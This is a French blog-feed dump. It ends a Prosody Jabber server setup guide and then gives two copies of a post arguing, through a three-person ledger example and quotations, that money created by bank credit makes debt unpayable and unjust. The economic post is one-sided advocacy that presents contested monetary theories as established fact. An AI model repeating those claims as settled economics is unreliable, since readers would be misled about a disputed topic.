Comme c’est un certificat auto-signé, les clients Jabber ne lui feront pas confiance : ils demanderont une confirmation, en présentant son empreinte. Il faudra alors vérifier que le certificat présenté est bien le bon, c’est-à-dire que l’empreinte est la même.

Pour la connaître :

openssl x509 -fingerprint -noout -in nom.de.domaine.cert

Par exemple :

$ openssl x509 -fingerprint -noout -in rom1v.com.cert
SHA1 Fingerprint=C3:6D:9B:65:06:55:C4:84:B4:A5:8D:4B:12:68:2F:08:71:7E:AC:DD

Ports

Les ports TCP 5222 et 5269 doivent être ouverts.

Démarrer

Il ne reste plus qu’à démarrer le service.

service prosody start

Clients

Il est maintenant possible de se connecter en utilisant le nom d’utilisateur et le mot de passe créés :

empathy

Backup

Les données du serveur sont stockées dans /var/lib/prosody. Il est donc important de ne pas oublier ce répertoire dans le processus de sauvegarde.

Merci à Cyrille Borne et nicolargo.

";s:7:"dateiso";s:15:"20120106_221258";}s:15:"20111203_152301";a:7:{s:5:"title";s:77:"Comprendre le mystère de l’argent et le problème des intérêts manquants";s:4:"link";s:101:"http://blog.rom1v.com/2011/12/comprendre-le-mystere-de-largent-et-le-probleme-des-interets-manquants/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=3410";s:7:"pubDate";s:31:"Sat, 03 Dec 2011 14:23:01 +0000";s:11:"description";s:366:"Peu avant 1940, Louis Even a écrit une célèbre robinsonade pour comprendre le mystère de l’argent : L’île des naufragés. Si vous ne la connaissez pas encore, je vous conseille de la lire avant de poursuivre. À cette époque, la monnaie était basée sur l’or, mais ça ne change pas fondamentalement le problème. Ses écrits sont [...]";s:7:"content";s:46290:"

Peu avant 1940, Louis Even a écrit une célèbre robinsonade pour comprendre le mystère de l’argent : L’île des naufragés.

Si vous ne la connaissez pas encore, je vous conseille de la lire avant de poursuivre. À cette époque, la monnaie était basée sur l’or, mais ça ne change pas fondamentalement le problème. Ses écrits sont parfois très imprégnés de religion, aussi faut-il faire preuve de discernement.

Cette fable met en évidence l’injustice du système monétaire, dans lequel l’argent est créé par le crédit (j’en ai déjà parlé).

Création monétaire par le crédit

Commençons par un petit rappel, grâce à un résumé du fonctionnement de la création monétaire :

3. La création de monnaie en échange d’une promesse

Comment se créent alors les plus de 90 % restants de monnaie qui circulent sur la planète ?

Cette part de monnaie est créée par un mécanisme peu connu et étonnant : par le simple fait que vous signiez une demande de prêt à la banque, vous reconnaissez que vous rembourserez cette somme (ou qu’à défaut vous serez saisis sur vos biens pour un montant équivalent à cette valeur). Les banques créent alors purement et simplement cette somme par une simple opération d’écriture, et elles le déposent sur votre compte. Cet argent est ensuite détruit au fur et à mesure du remboursement de la dette. L’argent créé est qualifié de monnaie scripturale : de l’argent créé par un jeu d’écriture…

Plus de 90 % de l’argent disponible sur la planète est ainsi constitué des dettes en cours auprès des banques. Les banques maîtrisent donc plus de 90 % des moyens de paiement qui permettent les échanges entre les hommes.

Pour un peu plus de détails : La création monétaire pour les nuls (pdf).

Intérêts manquants


Revenons à notre île des naufragés.

Cet extrait d’un texte de James Crate Larkin résume bien un élément important de la thèse de l’auteur :

La dette ne peut jamais s’éteindre sous un tel système, parce que tout argent mis en circulation l’est par des prêts bancaires et que l’emprunteur doit rembourser plus que le montant reçu. Il doit rembourser le principal, créé par le banquier, plus l’intérêt créé par personne ! … Le procédé est cumulatif — la dette grossit toujours, parce que, pour payer l’intérêt, il faut nécessairement quelque part une nouvelle alimentation de monnaie, et cette nouvelle émission est elle-même porteuse d’intérêt. Comment la dette serait-elle remboursable ?

C’est le problème des « intérêts manquants » : si seul l’argent correspondant au principal est créé, comment rembourser les intérêts ? Cet argument, s’il est vrai, ne dénonce pas seulement une injustice, il met en évidence une parfaite impossibilité : il n’existe aucun moyen pour la population de rembourser toutes ses dettes envers la banque, puisqu’il n’y a pas assez d’argent en circulation.

Réfutation ?

Cependant, certains critiquent la fable et prétendent en fournir une réfutation, dont l’argument central peut se formuler ainsi : il existe au moins un moyen pour la population de rembourser toutes ses dettes envers la banque, il faut considérer que le banquier va dépenser les intérêts dans l’économie.

Et sur ce point, ils ont raison. Il est possible de trouver une suite d’échanges entre les individus permettant à la population de rembourser toutes ses dettes : la banque peut dépenser les intérêts perçus au fur et à mesure, permettant ainsi à la population de les regagner.

Voici un exemple avec 3 individus :

État initial

Au départ, tous les comptes sont à zéro.

Individu Compte Dettes Produits
B 0
X 0
Y 0

Étape 1

X souhaite acheter des pommes à Y, pour un montant de 5.
Il emprunte donc 5 à B, qui les crée, pour une période donnée (plusieurs années). B demandera des intérêts, disons 40%. En tout, X devra donc rembourser 7.

Individu Compte Dettes Produits
B 0
  • X me doit 5
  • je dois 5 à X
  • X me doit 2 (intérêts)
X 5
  • B me doit 5
  • je dois 5 à B
  • je dois 2 à B (intérêts)
Y 0

Étape 2

X peut maintenant acheter des pommes à Y.

Individu Compte Dettes Produits
B 0
  • X me doit 5
  • je dois 5 à Y
  • X me doit 2 (intérêts)
X 0
  • je dois 5 à B
  • je dois 2 à B (intérêts)

Y 5
  • B me doit 5

Nous nous rendons bien compte ici que la monnaie n’est qu’une dette de banque qui circule.

Étape 3

Y décide d’acheter des baguettes à X, pour un montant de 5.

Individu Compte Dettes Produits
B 0
  • X me doit 5
  • je dois 5 à X
  • X me doit 2 (intérêts)
X 5
  • B me doit 5
  • je dois 5 à B
  • je dois 2 à B (intérêts)
Y 0

Les comptes se retrouvent exactement dans la même situation qu’à l’étape 1.

Étape 4

X rembourse les intérêts à B, d’un montant de 2.

Individu Compte Dettes Produits
B 2
  • X me doit 5
  • je dois 3 à X
X 3
  • B me doit 3
  • je dois 5 à B
Y 0

Étape 5

B achète des baguettes à X pour un montant de 2 (il dépense les intérêts dans l’économie).

Individu Compte Dettes Produits
B 0
  • X me doit 5
  • je dois 5 à X
X 5
  • B me doit 5
  • je dois 5 à B
Y 0

Étape 6

X rembourse sa dette à B.

Individu Compte Dettes Produits
B 0
X 0
Y 0

Voilà, tout est remboursé. CQFD, Louis Even racontait n’importe quoi, sa fable n’est que pure manipulation. Circulez, y’a rien à voir.

Attendez, pas si vite ! Tout au plus, nous pouvons en déduire que le récit est incomplet, car il n’a traité que le cas où les intérêts n’étaient pas dépensés dans l’économie. Traitons donc la partie manquante, quand les intérêts sont dépensés.

Avec intérêts dépensés

Remarquons avant tout que si seulement une partie des intérêts est dépensée, nous sommes confrontés exactement au même problème (il manquera juste un peu moins d’argent pour rembourser, mais il en manquera). Seule l’hypothèse où 100% des intérêts sont dépensés pourrait donc permettre, éventuellement, la pénurie de monnaie. Et si effectivement nous pouvions éviter cette pénurie, le système serait-il juste ?

Injustice visible

Dans l’exemple détaillé où tout a été remboursé, qui a produit quoi et qui a consommé quoi ?

B a gagné des intérêts sur de l’argent qu’il a créé ex nihilo, sans aucun travail, qu’il a pu ensuite dépenser dans l’économie.

James Crate Larkin écrivait :

Ce paiement d’intérêt, par la société, au système bancaire, sur de la monnaie nouvellement créée et qui ne coûte rien, n’est pas du tout semblable ni comparable à l’intérêt qu’un prêteur ordinaire exige sur de l’argent déjà en existence, qu’il a gagné, épargné et prêté à l’industrie.

Si je dis uniquement cela, vous allez tout de suite me rétorquer que j’ai oublié de prendre en compte le service qu’a fourni le banquier : B a rendu service à X pour une valeur de 2, et X a « consommé » le service de la dette. Le banquier fournit un service, et comme tout service, il est normal qu’il le fasse payer.

Mais cet argument ne tient pas.

D’abord, le service fourni n’est pas un service comme un autre : le banquier demande, en échange de quelque chose, ce même quelque chose en quantité plus importante, alors que lui seul a le droit de créer ce quelque chose. Cela n’implique pas strictement, nous l’avons vu, que le remboursement sera impossible (en pratique, il le sera, nous le verrons), mais cela en fait à l’évidence un service singulier.

Ensuite, remarquons que la banque perçoit un pourcentage sur toute la monnaie en circulation. Modifions l’exemple précédent pour qu’il y ait un banquier, 1 million de X et 1 million de Y. Dans ce nouvel exemple, regardons ce qu’il se passe :

Le déséquilibre est flagrant. Il n’est pas défendable que le banquier puisse (et doive) récupérer, à son profit, un pourcentage de toutes les richesses créées. Un tel gain ne peut raisonnablement pas correspondre au service fourni.

Vous me répondrez qu’en réalité, tout n’est pas pour la banque : elle doit par exemple verser des intérêts à ses clients. Mais d’une part, les intérêts qu’elle perçoit (sur de l’argent créé !) sont supérieurs aux intérêts que perçoivent les clients (sur de l’argent gagné) ; l’argument reste donc le même avec simplement un pourcentage moins important. Et d’autre part, nous pouvons appliquer le raisonnement sur l’ensemble constitué des banques et des personnes les plus riches (les fameux 1%), qui sont évidemment les principaux bénéficiaires de ces intérêts.
Vous me ferez peut-être également remarquer que la banque verse des salaires. Oui. Les autres entreprises aussi.

Injustice cachée

En plus de cela, le banquier profite d’une déflation.

Pour le comprendre, reprenons l’exemple détaillé ci-dessus, et considérons à chaque étape non seulement la masse monétaire dans son ensemble, mais également l’argent qui circule au sein de la population (entre X et Y).

Étape Qté en circulation Qté entre X et Y Commentaire
0 0 0
1 5 5
2 5 5
3 5 5
4 5 3 Déflation locale, les prix ont tendance à baisser. C’est à ce moment que le banquier achète à X.
5 5 5 Une fois l’argent réinjecté dans l’économie, les prix ont tendance à réaugmenter. Ce qu’a acheté le banquier retrouve donc sa valeur.

Il faut bien avoir à l’esprit que la déflation se produit au fur et à mesure du remboursement des intérêts au banquier, sur une longue période, et non brutalement comme l’exemple pourrait le laisser penser.

Le banquier peut racheter les actifs de X et Y à bas prix, puisqu’ils ont baissé suite à la déflation. Cette réinjection de monnaie fera augmenter le prix de ces mêmes actifs en proportion mais ils auront changé de main de façon forcée (vers le banquier).

Merci à Galuel pour cette explication.

Hypothèse vérifiée ?

Nous avons vu qu’il était nécessaire que 100% des intérêts soient dépensés dans l’économie pour éviter la pénurie d’argent. Remarquons que rien ne montre que cette hypothèse, fût-elle injuste, serait suffisante.

Mais est-elle seulement vérifiée dans la réalité ? Car la simple possibilité théorique de cette situation idéalisée ne peut suffire à prétendre qu’elle serait vérifiée en pratique.

Nous pouvons même nous convaincre du contraire.

Les prêts que nous avons considérés jusqu’à présent sont ceux effectués par le système bancaire, qui sont les seuls créateurs de monnaie. Mais l’argent ainsi créé peut être reprêté par quelqu’un à quelqu’un d’autre, avec intérêts. Dans ce cas, cet argent sera grevé de 2 intérêts.

Supposons que la banque promette de dépenser 100% des intérêts dans l’économie, et qu’une personne, libre de toutes dettes, possède de l’argent en excès. Elle va pouvoir le prêter (ou l’investir) perpétuellement pour percevoir perpétuellement des intérêts. Tout dépenser dans l’économie ne serait pas à son avantage, car cela représente pour elle une source intarissable de revenus. Ses emprunteurs, pour lui payer les intérêts, devront nécessairement récupérer de l’argent dans le stock disponible… qui n’en contient pas assez pour rembouser le prêt principal et le prêt secondaire avec intérêts. Dans ce cas, il est inévitable de rembourser les anciens prêts avec… de nouveaux prêts plus importants.

Plus généralement, ceux qui ont de l’argent s’attendent à percevoir un intérêt dessus. L’investissement peut créer de nouvelles richesses réelles, mais seules de nouvelles dettes peuvent créer plus d’argent. Donc toute attente de profits, à partir de l’argent investi ou de prêts, crée de la demande pour plus d’argent, qui peut être :

C’est ce qu’a expliqué Paul Grignon en réponse aux critiques contre sa fameuse vidéo L’argent dette, qui l’ont poussé à publier L’argent dette 2 : promesses chimériques.

Légitimité

Mais avant de rentrer dans tous ces détails, peut-être aurait-il simplement fallu questionner, sur le principe, la légitimité d’un tel système.

L’argent est créé par le crédit. Donc la société est forcément endettée (sinon, il n’y aurait pas d’argent). Ce qui implique qu’elle devra perpétuellement payer des intérêts aux banques, des acteurs privés.
Ceci est d’autant plus étonnant que c’est la population, dans son ensemble, qui produit les richesses. La banque ne fait que créer l’argent permettant de les échanger. Ce sont donc ceux qui produisent les richesses qui sont endettés envers ceux qui créent l’argent.

Louis Even l’expliquait très bien :

Soulignons aussi un point frappant: C’est la production qui donne de la valeur à l’argent. Une pile d’argent, sans produits pour y répondre, ne fait pas vivre. Or, ce sont les cultivateurs, les industriels, les ouvriers, les professionnels, le pays organisé, qui font les produits, marchandises ou services. Mais ce sont les banquiers qui font l’argent basé sur ces produits. Et cet argent, qui tire sa valeur des produits, les banquiers se l’approprient et le prêtent à ceux qui font les produits. C’est un vol légalisé.

Maurice Allais, prix Nobel d’économie, écrivait même :

Dans son essence, la création monétaire ex nihilo actuelle par le système bancaire est identique, je n’hésite pas à le dire pour bien faire comprendre ce qui est réellement en cause, à la création de monnaie par des faux-monnayeurs, si justement condamnée par la loi. Concrètement elle aboutit aux mêmes résultats. La seule différence est que ceux qui en profitent sont différents.

Le texte est accessible ici.

Conséquences

Ne vous paraît-il pas étonnant qu’il faille toujours travailler plus (au point de réformer les retraites), alors que nous avons considérablement amélioré notre productivité ces dernières décennies ? Et la crise viendrait d’un manque de travail, d’un manque de production, vraiment ?

La véritable raison, ce n’est pas que nous manquons de richesses réelles. Nous ne devons pas lutter contre une rareté de produits dont nous avons besoin, mais contre la rareté de l’argent permettant d’accéder à ces produits. Et la rareté de cet argent dépend du crédit, qui dépend de la croissance.

En clair : sans croissance, nous avons (toujours) une abondance de produits, mais une pénurie de monnaie pour y accéder. Grâce à la croissance, nous limitons temporairement la pénurie de monnaie.

C’est la raison pour laquelle nous devons toujours produire (et consommer) plus. Ce qui, d’ailleurs, amplifie le problème :

A mesure que le pays se développe, en production comme en population, il faut plus d’argent. Or on ne peut avoir d’argent nouveau qu’en s’endettant d’une dette collectivement impayable.

Il reste donc le choix entre arrêter le développement ou s’endetter; entre chômer ou contracter des emprunts impayables. C’est entre ces deux choses-là qu’on se débat justement dans tous les pays.

Dans un récent discours, Naomi Klein dénonçait cette pénurie artificielle (citation rapportée par Zoupic) :

Nous savons tous, ou du moins nous sentons que le monde est à l’envers : nous agissons comme s’il n’y avait pas de limites à ce qui, en réalité, n’est pas renouvelable – les combustibles fossiles et l’espace atmosphérique pour absorber leurs émissions. Et nous agissons comme s’il y avait des limites strictes et inflexibles à ce qui, en réalité, est abondant – les ressources financières pour construire la société dont nous avons besoin.

Vivre « au-dessus de ses moyens »

Si nous sommes endettés, ce n’est donc pas parce que nous vivons au-dessus de nos moyens, comme nous pouvons l’entendre parfois, mais bien parce que le système monétaire entraîne inévitablement l’endettement.

Cela rejoint un point de l’argumentaire de MrQuelquesMinutes, à propos de sa vidéo sur la dette publique :

B-2) L’État doit emprunter aux marchés financiers pour fonctionner, cela veut-il dire que l’État utilise l’argent qu’il n’a pas ? Et que l’État vit donc « au dessus de ses moyens » ?
Si l’on poursuit ce raisonnement, alors toute la société vit au dessus de ses moyens puisque toute la monnaie qu’elle utilise provient à l’origine du crédit bancaire. Pourtant, cela n’a pas de sens de dire cela, puisque c’est la société elle même qui produit les biens et les services qu’elle utilise.
Qu’une nation ou qu’un État s’endette dans un système monétaire où la monnaie est créé uniquement par le crédit, ne veut pas dire qu’il « vit au dessus des ses moyens », mais que ce système monétaire, de part sa nature, provoque l’endettement généralisé de cette nation ou de cet État.

Conclusion

La possibilité très théorique que la société soit capable de rembourser ses dettes (afin qu’elles n’augmentent pas perpétuellement) ne remet nullement en cause les critiques fondamentales que porte Louis Even (et bien d’autres) sur le fonctionnement de la création monétaire, manifestement injuste.

Un système où la pénurie de monnaie est quasiment garantie, et où les richesses sont redistribuées massivement de la population vers les banques, n’est pas acceptable. Ne devons donc le corriger. Comment ?

La première étape est de comprendre comment fonctionne le système actuel, pour envisager plusieurs réponses. L’une d’elles est le 100% monnaie.

Personnellement, je suis convaincu que la meilleure est le dividende universel, pour plusieurs raisons (et beaucoup d’autres).

À vous de vous forger votre avis…

";s:7:"dateiso";s:15:"20111203_152301";}s:15:"20111203_142301";a:7:{s:5:"title";s:75:"Comprendre le mystère de l'argent et le problème des intérêts manquants";s:4:"link";s:100:"http://blog.rom1v.com/2011/12/comprendre-le-mystere-de-largent-et-le-probleme-des-interets-manquants";s:4:"guid";s:100:"http://blog.rom1v.com/2011/12/comprendre-le-mystere-de-largent-et-le-probleme-des-interets-manquants";s:7:"pubDate";s:25:"2011-12-03T14:23:01+01:00";s:11:"description";s:0:"";s:7:"content";s:35353:"

Peu avant 1940, Louis Even a écrit une célèbre robinsonade pour comprendre le mystère de l’argent : L’île des naufragés.

Si vous ne la connaissez pas encore, je vous conseille de la lire avant de poursuivre. À cette époque, la monnaie était basée sur l’or, mais ça ne change pas fondamentalement le problème. Ses écrits sont parfois très imprégnés de religion, aussi faut-il faire preuve de discernement.

Cette fable met en évidence l’injustice du système monétaire, dans lequel l’argent est créé par le crédit (j’en ai déjà parlé).

Création monétaire par le crédit

Commençons par un petit rappel, grâce à un résumé du fonctionnement de la création monétaire :

3. La création de monnaie en échange d’une promesse

Comment se créent alors les plus de 90 % restants de monnaie qui circulent sur la planète ?

Cette part de monnaie est créée par un mécanisme peu connu et étonnant : par le simple fait que vous signiez une demande de prêt à la banque, vous reconnaissez que vous rembourserez cette somme (ou qu’à défaut vous serez saisis sur vos biens pour un montant équivalent à cette valeur). Les banques créent alors purement et simplement cette somme par une simple opération d’écriture, et elles le déposent sur votre compte. Cet argent est ensuite détruit au fur et à mesure du remboursement de la dette. L’argent créé est qualifié de monnaie scripturale : de l’argent créé par un jeu d’écriture…

Plus de 90 % de l’argent disponible sur la planète est ainsi constitué des dettes en cours auprès des banques. Les banques maîtrisent donc plus de 90 % des moyens de paiement qui permettent les échanges entre les hommes.

Pour un peu plus de détails : La création monétaire pour les nuls (pdf).

Intérêts manquants

Revenons à notre île des naufragés.

Cet extrait d’un texte de James Crate Larkin résume bien un élément important de la thèse de l’auteur :

La dette ne peut jamais s’éteindre sous un tel système, parce que tout argent mis en circulation l’est par des prêts bancaires et que l’emprunteur doit rembourser plus que le montant reçu. Il doit rembourser le principal, créé par le banquier, plus l’intérêt créé par personne ! … Le procédé est cumulatif — la dette grossit toujours, parce que, pour payer l’intérêt, il faut nécessairement quelque part une nouvelle alimentation de monnaie, et cette nouvelle émission est elle-même porteuse d’intérêt. Comment la dette serait-elle remboursable ?

C’est le problème des intérêts manquants : si seul l’argent correspondant au principal est créé, comment rembourser les intérêts ? Cet argument, s’il est valide, ne dénonce pas seulement une injustice, il met en évidence une parfaite impossibilité : il n’existe aucun moyen pour la population de rembourser toutes ses dettes envers la banque, puisqu’il n’y a pas assez d’argent en circulation.

Réfutation ?

Cependant, certains critiquent la fable et prétendent en fournir une réfutation, dont l’argument central peut se formuler ainsi : il existe au moins un moyen pour la population de rembourser toutes ses dettes envers la banque, il faut considérer que le banquier va dépenser les intérêts dans l’économie.

Et sur ce point, ils ont raison. Il est possible de trouver une suite d’échanges entre les individus permettant à la population de rembourser toutes ses dettes : la banque peut dépenser les intérêts perçus au fur et à mesure, permettant ainsi à la population de les regagner.

Voici un exemple avec 3 individus :

État initial

Au départ, tous les comptes sont à zéro.

individu compte dettes produits
B 0    
X 0   bread bread bread bread bread bread bread
Y 0   apple apple apple apple apple

Étape 1

X souhaite acheter des pommes à Y, pour un montant de 5.

Il emprunte donc 5 à B, qui les crée, pour une période donnée (plusieurs années). B demandera des intérêts, disons 40%. En tout, X devra donc rembourser 7.

individu compte dettes produits
B 0 X me doit 5
je dois 5 à X
X me doit 2 (intérêts)
 
X 5 B me doit 5
je dois 5 à B
je dois 2 à B (intérêts)
bread bread bread bread bread bread bread
Y 0   apple apple apple apple apple

Étape 2

X peut maintenant acheter des pommes à Y.

individu compte dettes produits
B 0 X me doit 5
je dois 5 à Y
X me doit 2 (intérêts)
 
X 0 je dois 5 à B
je dois 2 à B (intérêts)
bread bread bread bread bread bread bread
apple apple apple apple apple
Y 5 B me doit 5  

Nous nous rendons bien compte ici que la monnaie n’est qu’une dette de banque qui circule.

Étape 3

Y décide d’acheter des baguettes à X, pour un montant de 5.

individu compte dettes produits
B 0 X me doit 5
je dois 5 à X
X me doit 2 (intérêts)
 
X 5 B me doit 5
je dois 5 à B
je dois 2 à B (intérêts)
bread bread apple apple apple apple apple
Y 0   bread bread bread bread bread

Les comptes se retrouvent exactement dans la même situation qu’à l’étape 1.

Étape 4

X rembourse les intérêts à B, d’un montant de 2.

individu compte dettes produits
B 2 X me doit 5
je dois 3 à X
 
X 3 B me doit 3
je dois 5 à B
bread bread apple apple apple apple apple
Y 0   bread bread bread bread bread

Étape 5

B achète des baguettes à X pour un montant de 2 (il dépense les intérêts dans l’économie).

individu compte dettes produits
B 0 X me doit 5
je dois 5 à X
bread bread
X 5 B me doit 5
je dois 5 à B
apple apple apple apple apple
Y 0   bread bread bread bread bread

Étape 6

X rembourse sa dette à B.

individu compte dettes produits
B 0   bread bread
X 0   apple apple apple apple apple
Y 0   bread bread bread bread bread

Voilà, tout est remboursé. CQFD, Louis Even racontait n’importe quoi, sa fable n’est que pure manipulation. Circulez, y’a rien à voir.

Attendez, pas si vite ! Tout au plus, nous pouvons en déduire que le récit est incomplet, car il n’a traité que le cas où les intérêts n’étaient pas dépensés dans l’économie. Traitons donc la partie manquante, quand les intérêts sont dépensés.

Avec intérêts dépensés

Remarquons avant tout que si seulement une partie des intérêts est dépensée, nous sommes confrontés exactement au même problème (il manquera juste un peu moins d’argent pour rembourser, mais il en manquera). Seule l’hypothèse où 100% des intérêts sont dépensés pourrait donc permettre, éventuellement, la pénurie de monnaie. Et si effectivement nous pouvions éviter cette pénurie, le système serait-il juste ?

Injustice visible

Dans l’exemple détaillé où tout a été remboursé, qui a produit quoi et qui a consommé quoi ?

**B a gagné des intérêts sur de l’argent qu’il a créé ex nihilo, sans aucun travail, qu’il a pu ensuite dépenser dans l’économie.

James Crate Larkin écrivait :

Ce paiement d’intérêt, par la société, au système bancaire, sur de la monnaie nouvellement créée et qui ne coûte rien, n’est pas du tout semblable ni comparable à l’intérêt qu’un prêteur ordinaire exige sur de l’argent déjà en existence, qu’il a gagné, épargné et prêté à l’industrie.

Si je dis uniquement cela, vous allez tout de suite me rétorquer que j’ai oublié de prendre en compte le service qu’a fourni le banquier : B a rendu service à X pour une valeur de 2, et X a “consommé” le service de la dette. Le banquier fournit un service, et comme tout service, il est normal qu’il le fasse payer.

Mais cet argument ne tient pas.

D’abord, le service fourni n’est pas un service comme un autre : le banquier demande, en échange de quelque chose, ce même quelque chose en quantité plus importante, alors que lui seul a le droit de créer ce quelque chose. Cela n’implique pas strictement, nous l’avons vu, que le remboursement sera impossible (en pratique, il le sera, nous le verrons), mais cela en fait à l’évidence un service singulier.

Ensuite, remarquons que la banque perçoit un pourcentage sur toute la monnaie en circulation. Modifions l’exemple précédent pour qu’il y ait un banquier, 1 million de X et 1 million de Y. Dans ce nouvel exemple, regardons ce qu’il se passe :

Le déséquilibre est flagrant. Il n’est pas défendable que le banquier puisse (et doive) récupérer, à son profit, un pourcentage de toutes les richesses créées. Un tel gain ne peut raisonnablement pas correspondre au service fourni.

Vous me répondrez qu’en réalité, tout n’est pas pour la banque : elle doit par exemple verser des intérêts à ses clients. Mais d’une part, les intérêts qu’elle perçoit (sur de l’argent créé !) sont supérieurs aux intérêts que perçoivent les clients (sur de l’argent gagné) ; l’argument reste donc le même avec simplement un pourcentage moins important. Et d’autre part, nous pouvons appliquer le raisonnement sur l’ensemble constitué des banques et des personnes les plus riches (les fameux 1%), qui sont évidemment les principaux bénéficiaires de ces intérêts. Vous me ferez peut-être également remarquer que la banque verse des salaires. Oui. Les autres entreprises aussi.

Injustice cachée

En plus de cela, le banquier profite d’une déflation.

Pour le comprendre, reprenons l’exemple détaillé ci-dessus, et considérons à chaque étape non seulement la masse monétaire dans son ensemble, mais également l’argent qui circule au sein de la population (entre X et Y).

Étape Qté en circulation Qté entre X et Y Commentaire
0 0 0  
1 5 5  
2 5 5  
3 5 5  
4 5 3 Déflation locale, les prix ont tendance à baisser. C’est à ce moment que le banquier achète à X.
5 5 5 Une fois l’argent réinjecté dans l’économie, les prix ont tendance à réaugmenter. Ce qu’a acheté le banquier retrouve donc sa valeur.

Il faut bien avoir à l’esprit que la déflation se produit au fur et à mesure du remboursement des intérêts au banquier, sur une longue période, et non brutalement comme l’exemple pourrait le laisser penser.

Le banquier peut racheter les actifs de X et Y à bas prix, puisqu’ils ont baissé suite à la déflation. Cette réinjection de monnaie fera augmenter le prix de ces mêmes actifs en proportion mais ils auront changé de main de façon forcée (vers le banquier).

Merci à Galuel pour cette explication.

Hypothèse vérifiée ?

Nous avons vu qu’il était nécessaire que 100% des intérêts soient dépensés dans l’économie pour éviter la pénurie d’argent. Remarquons que rien ne montre que cette hypothèse, fût-elle injuste, serait suffisante.

Mais est-elle seulement vérifiée dans la réalité ? Car la simple possibilité théorique de cette situation idéalisée ne peut suffire à prétendre qu’elle serait vérifiée en pratique.

Nous pouvons même nous convaincre du contraire.

Les prêts que nous avons considérés jusqu’à présent sont ceux effectués par le système bancaire, qui sont les seuls créateurs de monnaie. Mais l’argent ainsi créé peut être reprêté par quelqu’un à quelqu’un d’autre, avec intérêts. Dans ce cas, cet argent sera grevé de 2 intérêts.

Supposons que la banque promette de dépenser 100% des intérêts dans l’économie, et qu’une personne, libre de toutes dettes, possède de l’argent en excès. Elle va pouvoir le prêter (ou l’investir) perpétuellement pour percevoir perpétuellement des intérêts. Tout dépenser dans l’économie ne serait pas à son avantage, car cela représente pour elle une source intarissable de revenus. Ses emprunteurs, pour lui payer les intérêts, devront nécessairement récupérer de l’argent dans le stock disponible… qui n’en contient pas assez pour rembouser le prêt principal et le prêt secondaire avec intérêts. Dans ce cas, il est inévitable de rembourser les anciens prêts avec… de nouveaux prêts plus importants.

Plus généralement, ceux qui ont de l’argent s’attendent à percevoir un intérêt dessus. L’investissement peut créer de nouvelles richesses réelles, mais seules de nouvelles dettes peuvent créer plus d’argent. Donc toute attente de profits, à partir de l’argent investi ou de prêts, crée de la demande pour plus d’argent, qui peut être :

C’est ce qu’a expliqué Paul Grignon en réponse aux critiques contre sa fameuse vidéo L’argent dette, qui l’ont poussé à publier L’argent dette 2 : promesses chimériques.

Légitimité

Mais avant de rentrer dans tous ces détails, peut-être aurait-il simplement fallu questionner, sur le principe, la légitimité d’un tel système.

L’argent est créé par le crédit. Donc la société est forcément endettée (sinon, il n’y aurait pas d’argent). Ce qui implique qu’elle devra perpétuellement payer des intérêts aux banques, des acteurs privés.

Ceci est d’autant plus étonnant que c’est la population, dans son ensemble, qui produit les richesses. La banque ne fait que créer l’argent permettant de les échanger. Ce sont donc ceux qui produisent les richesses qui sont endettés envers ceux qui créent l’argent.

Louis Even l’expliquait très bien :

Soulignons aussi un point frappant: C’est la production qui donne de la valeur à l’argent. Une pile d’argent, sans produits pour y répondre, ne fait pas vivre. Or, ce sont les cultivateurs, les industriels, les ouvriers, les professionnels, le pays organisé, qui font les produits, marchandises ou services. Mais ce sont les banquiers qui font l’argent basé sur ces produits. Et cet argent, qui tire sa valeur des produits, les banquiers se l’approprient et le prêtent à ceux qui font les produits. C’est un vol légalisé.

Maurice Allais, prix Nobel d’économie, écrivait même :

Dans son essence, la création monétaire ex nihilo actuelle par le système bancaire est identique, je n’hésite pas à le dire pour bien faire comprendre ce qui est réellement en cause, à la création de monnaie par des faux-monnayeurs, si justement condamnée par la loi. Concrètement elle aboutit aux mêmes résultats. La seule différence est que ceux qui en profitent sont différents.

(La Crise mondiale aujourd’hui. Pour de profondes réformes des institutions financières et monétaires., Maurice Allais, éd. Clément Juglar, 1999, p. 110)

Le texte est accessible ici.

Conséquences

Ne vous paraît-il pas étonnant qu’il faille toujours travailler plus (au point de réformer les retraites), alors que nous avons considérablement amélioré notre productivité ces dernières décennies ? Et la crise viendrait d’un manque de travail, d’un manque de production, vraiment ?

La véritable raison, ce n’est pas que nous manquons de richesses réelles. Nous ne devons pas lutter contre une rareté de produits dont nous avons besoin, mais contre la rareté de l’argent permettant d’accéder à ces produits. Et la rareté de cet argent dépend du crédit, qui dépend de la croissance.

En clair : sans croissance, nous avons (toujours) une abondance de produits, mais une pénurie de monnaie pour y accéder. Grâce à la croissance, nous limitons temporairement la pénurie de monnaie.

C’est la raison pour laquelle nous devons toujours produire (et consommer) plus. Ce qui, d’ailleurs, amplifie le problème :

A mesure que le pays se développe, en production comme en population, il faut plus d’argent. Or on ne peut avoir d’argent nouveau qu’en s’endettant d’une dette collectivement impayable.

Il reste donc le choix entre arrêter le développement ou s’endetter; entre chômer ou contracter des emprunts impayables. C’est entre ces deux choses-là qu’on se débat justement dans tous les pays.

Dans un récent discours, Naomi Klein dénonçait cette pénurie artificielle (citation rapportée par Zoupic) :

Nous savons tous, ou du moins nous sentons que le monde est à l’envers : nous agissons comme s’il n’y avait pas de limites à ce qui, en réalité, n’est pas renouvelable – les combustibles fossiles et l’espace atmosphérique pour absorber leurs émissions. Et nous agissons comme s’il y avait des limites strictes et inflexibles à ce qui, en réalité, est abondant – les ressources financières pour construire la société dont nous avons besoin.

Vivre “au-dessus de ses moyens”

Si nous sommes endettés, ce n’est donc pas parce que nous vivons au-dessus de nos moyens, comme nous pouvons l’entendre parfois, mais bien parce que le système monétaire entraîne inévitablement l’endettement.

Cela rejoint un point de l’argumentaire de MrQuelquesMinutes, à propos de sa vidéo sur la dette publique :

B-2) L’État doit emprunter aux marchés financiers pour fonctionner, cela veut-il dire que l’État utilise l’argent qu’il n’a pas ? Et que l’État vit donc “au dessus de ses moyens” ?

Si l’on poursuit ce raisonnement, alors toute la société vit au dessus de ses moyens puisque toute la monnaie qu’elle utilise provient à l’origine du crédit bancaire. Pourtant, cela n’a pas de sens de dire cela, puisque c’est la société elle-même qui produit les biens et les services qu’elle utilise.

Qu’une nation ou qu’un État s’endette dans un système monétaire où la monnaie est créé uniquement par le crédit, ne veut pas dire qu’il “vit au-dessus des ses moyens”, mais que ce système monétaire, de part sa nature, provoque l’endettement généralisé de cette nation ou de cet État.

Conclusion

